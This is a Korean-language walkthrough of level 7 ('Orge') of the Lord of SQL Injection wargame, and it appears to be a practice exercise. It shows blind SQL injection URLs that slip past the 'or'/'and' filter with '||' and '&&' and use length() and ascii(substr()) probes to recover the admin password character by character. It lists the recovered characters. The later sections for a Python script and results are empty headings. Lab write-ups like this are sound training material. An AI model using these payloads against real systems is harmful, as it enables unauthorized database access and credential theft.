Lord Of SQL Injection [ 7.Orge ]
preg_match 함수에서 or , and 사용을 금지하고 있고, 비밀번호를 GET방식으로 입력받고, add|ashes함수를 이용해 변환한 뒤 DB에 저장된 패스워드와 비교한다
5번 오크문제와 같은 패스워드를 유추하는 블라인드 인젝션 문제입니다
[ 패스워드 유추 과정 ]
1> 패스워드 길이를 알아낸다
URL: los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php?pw=9999' || id='admin' %26%26 length(pw)=8 %23 |
2>패스워드의 첫번째 글자부터 유추한다
URL: los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php?pw=9999' || id='admin' %26%26 ascii(substr(pw,1,1))=54 %23 |
=> SELECT id FROM prob_orge WHERE ( id='guest' and pw='9999' ) || ( id='admin' && ascii(substr(pw,1,1)) ) =54 #'
1번째 글자 : ascii(substr( pw , 1, 1 )) => 54 6
2번째 글자 : ascii(substr( pw , 2, 1 )) => 99 c
3번째 글자 : ascii(substr( pw , 3, 1 )) => 56 8
4번째 글자 : ascii(substr( pw , 4, 1 )) => 54 6
5번째 글자 : ascii(substr( pw , 5, 1 )) => 52 4
6번째 글자 : ascii(substr( pw , 6, 1 )) => 100 d
7번째 글자 : ascii(substr( pw , 7, 1 )) => 101 e
8번째 글자 : ascii(substr( pw , 8, 1 )) => 99 c
9번째 글자 : ascii(substr( pw , 9, 1 )) => 0 null
3> 실행결과
4> 파이썬 비밀번호 자동화 프로그래밍
5> 실행결과